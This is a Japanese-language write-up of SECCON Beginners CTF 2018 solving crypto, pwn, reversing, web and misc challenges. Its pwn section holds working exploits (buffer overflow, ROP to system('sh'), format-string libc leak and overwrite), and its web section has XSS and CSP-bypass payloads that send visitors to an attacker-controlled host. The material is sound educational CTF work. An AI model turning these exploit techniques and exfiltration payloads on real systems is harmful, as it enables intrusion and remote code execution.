SECCON Beginners CTF 2018 write-up
ctf4bの想定する初心者、こんなにレベル高かったっけ...
[Crypto] Well Known と [Reversing] Message from the future 以外を解いた。
Crypto
[Warmup] Veni, vidi, vici
ROT13、ROT8、180度回転。
ctf4b{n0more_cLass!cal_cRypt0graphy}
RSA is Power
from Crypto.Util.number import * import Crypto.PublicKey.RSA as RSA c = 77361455127455996572404451221401510145575776233122006907198858022042920987316 p = 299681192390656691733849646142066664329 q = 324144336644773773047359441106332937713 e = 65537 n = p * q d = inverse(e, (p - 1) * (q - 1)) rsa = RSA.construct((n, e, d)) print(long_to_bytes(rsa.decrypt(c)))
ctf4b{5imple_rs4_1s_3asy_f0r_u}
Streaming
フラグが ct
から始まることを利用し、内部状態を求める。
with open('encrypted', 'rb') as f: encrypted = f.read() a = ord(encrypted[0]) + ord(encrypted[1]) * 256 seed = a ^ int('ct'.encode('hex'), 16) g = Stream(seed) flag = 'ct' for i in range(2, len(encrypted), 2): a = (ord(encrypted[i]) + ord(encrypted[i+1]) * 256) ^ g.next() flag += hex(a)[2:].decode('hex') print(flag)
ctf4b{lcg-is-easily-predictable}
Pwn
[Warmup] condition
gets()
だー。
$ python -c "print('A' * 0x2c + '\xef\xbe\xad\xde')" | nc pwn1.chall.beginners.seccon.jp 16268
ctf4b{T4mp3r_4n07h3r_v4r14bl3_w17h_m3m0ry_c0rrup710n}
BBS
ROP。
.bssに gets()
で sh
を書き込み、それを system()
に渡す。
from pwn import * target = ELF('./bbs') r = remote('pwn1.chall.beginners.seccon.jp', 18373) # r = process('./bbs') POP_RDI = 0x400763 payload = '' payload += 'A' * 0x88 payload += p64(POP_RDI) payload += p64(target.bss(0)) payload += p64(target.plt['gets']) payload += p64(POP_RDI) payload += p64(target.bss(0)) payload += p64(target.plt['system']) r.sendline(payload) r.sendline('sh') r.interactive()
ctf4b{Pr3p4r3_4rgum3n75_w17h_ROP_4nd_c4ll_4rb17r4ry_func710n5}
Seczon
FSB。UAFじゃなかった。
あと、久々のx86。
from pwn import * # libc = ELF('/lib32/libc.so.6') libc = ELF('./libc-2.23.so') # OFFSET_SH = 0x15cccd OFFSET_SH = 0x15ba10 # r = process('seczon') r = remote('pwn1.chall.beginners.seccon.jp', 21735) def write_byte(addr, byte): r.sendline('2') r.sendline('0') payload = '' payload += '%{}c%10$hhn'.format(byte) payload += 'A' * (15 - len(payload)) payload += p32(addr) r.sendline(payload) def write_dword(addr, dword): for i in xrange(4): write_byte(addr + i, dword >> i * 8 & 0xff) r.sendline('1') r.sendline('hoge') r.sendline('2') r.sendline('0') r.sendline('%18$x %19$x') r.recvuntil('hoge\n') s = r.recvline().split() RET_ADDR_FROM_MAIN = int(s[0], 16) + 0x14 CALL_PRINTF = int(s[1], 16) - 0xfe3 + 0xcf6 r.sendline('2') r.sendline('0') r.sendline('%8$s ' + p32(CALL_PRINTF + 1)) r.recvuntil('hoge\n') LIBC_BASE = u32(r.recv(4)) + CALL_PRINTF + 5 - libc.symbols['printf'] write_dword(RET_ADDR_FROM_MAIN, LIBC_BASE + libc.symbols['system']) write_dword(RET_ADDR_FROM_MAIN + 8, LIBC_BASE + OFFSET_SH) r.sendline('0') r.interactive()
ctf4b{F0rm4t_5tr!ng_Bug_w!th_4lr3ady_pr!nt3d_d4t4}
Reversing
[Warmup] Simple Auth
パスワード(フラグ)をメモリに書き込んでる。
strlen()
してくれてるので、
echo | ltrace ./simple_auth |& grep ctf4b
ctf4b{rev3rsing_p4ssw0rd}
Activation
$ file activation.exe activation.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
.NET。
dnSpyで流れを追うと、入力をAESで暗号化したものが、ある固定値と一致しているか確認していることが分かる。
よって、正しい入力を得るには、その固定値を復号してやればよい。
using System; using System.Text; using System.Security.Cryptography; class Solve { static void Main() { AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider(); aesCryptoServiceProvider.BlockSize = 128; aesCryptoServiceProvider.KeySize = 256; byte[] b = {0x43, 0x54, 0x46, 0x34, 0x42, 0x37, 0x45, 0x31, 0x43, 0x54, 0x46, 0x34, 0x42, 0x37, 0x45, 0x31}; aesCryptoServiceProvider.IV = b; byte[] B = {0x53 ,0x45 ,0x43 ,0x43 ,0x4F ,0x4E ,0x5F ,0x42 ,0x45 ,0x47 ,0x49 ,0x4E ,0x4E ,0x45 ,0x52 ,0x53}; aesCryptoServiceProvider.Key = B; aesCryptoServiceProvider.Mode = CipherMode.ECB; aesCryptoServiceProvider.Padding = PaddingMode.PKCS7; string encodedFlag = "E3c0Iefcc2yUB5gvPWge1vHQK+TBuUYzST7hT+VrPDhjBt0HCAo5FLohfs/t2Vf5"; byte[] inArray = Convert.FromBase64String(encodedFlag); byte[] bytes = aesCryptoServiceProvider.CreateDecryptor().TransformFinalBlock(inArray, 0, inArray.Length); Console.WriteLine(Encoding.ASCII.GetString(bytes)); } }
ctf4b{ae03c6f3f9c13e6ee678a92fc2e2dcc5}
crackme
処理を眺めると、各cmpにブレークポイントを仕込めばよいことが分かる。
$ gdb crackme -q Reading symbols from crackme...(no debugging symbols found)...done. (gdb) b *0x400819 Breakpoint 1 at 0x400819 (gdb) b *0x400869 Breakpoint 2 at 0x400869 (gdb) b *0x4008b9 Breakpoint 3 at 0x4008b9 (gdb) b *0x400909 Breakpoint 4 at 0x400909 (gdb) b *0x400649 Breakpoint 5 at 0x400649 (gdb) b *0x400699 Breakpoint 6 at 0x400699 (gdb) b *0x400703 Breakpoint 7 at 0x400703 (gdb) b *0x400753 Breakpoint 8 at 0x400753 (gdb) disp/c *0x601048 ^ $eax 1: /c *0x601048 ^ $eax = <error: No registers.> (gdb) r hoge Starting program: /media/sf_GoogleDrive/CTF/BeginnersCTF/crackme/crackme hoge Breakpoint 1, 0x0000000000400819 in ?? () 1: /c *0x601048 ^ $eax = 99 'c' (gdb) c Continuing. Breakpoint 2, 0x0000000000400869 in ?? () 1: /c *0x601048 ^ $eax = 116 't' (gdb) Continuing. Breakpoint 3, 0x00000000004008b9 in ?? () 1: /c *0x601048 ^ $eax = 102 'f' (gdb) Continuing. ...
ctf4b{D0_y0u_l!k3_x86_4ssembly?}
Web
[Warmup] Greeting
クッキーは美味しい。
$ curl -b name=admin greeting.chall.beginners.seccon.jp | grep ctf4b
ctf4b{w3lc0m3_TO_ctf4b_w3b_w0rd!!}
Gimme your comment
XSS。本文がタグを受け付ける。
ゆるっゆる。
<script>location.href="http://my.ip.address/";</script>
ctf4b{h4v3_fun_w17h_4_51mpl3_cr055_5173_5cr1p71n6}
SECCON Goods
SQLi。
でテーブル一覧を取得し、
でカラム一覧を取得し、
でフィニッシュ。
ctf4b{cl4551c4l_5ql_1nj3c710n}
Gimme your comment REVENGE
Content-Security-Policy: default-src 'self'
ですって。
<form method="POST" action="http://my.ip.address/">
ctf4b{d3f4ul7_5rc_15_n07_3n0u6h}
Misc
[Warmup] Welcome
IRC、頑張ってるのが伝わってくる人がいて、応援してました。
ctf4b{welcome_to_seccon_beginners_ctf}
[Warmup] plain mail
平文で以下3通のメールを送信。
「zipとパスワードを分けて送ります」
「はいzip」
「はいパスワード」
滑稽。
ctf4b{email_with_encrypted_file}
てけいさんえくすとりーむず
手計算・・・は辛いので、計算機に任せる。
from pwn import * r = remote('tekeisan-ekusutoriim.chall.beginners.seccon.jp', 8690) r.recvlines(11) for i in xrange(100): r.recvuntil(')\n') r.sendline(str(eval(r.recvuntil('=')[:-1]))) r.interactive()
ctf4b{ekusutori-mu>tekeisann>bigina-zu>2018}
Find the messages
1と2は7-zipでも取り出せる。
1は $ base64 -d
、2は 臼ng
。
3が binwalkで取り出せなかったので、バイナリエディタで無理やり引っこ抜いた。
ctf4b{y0u_t0uched_a_part_0f_disk_image_for3nsics}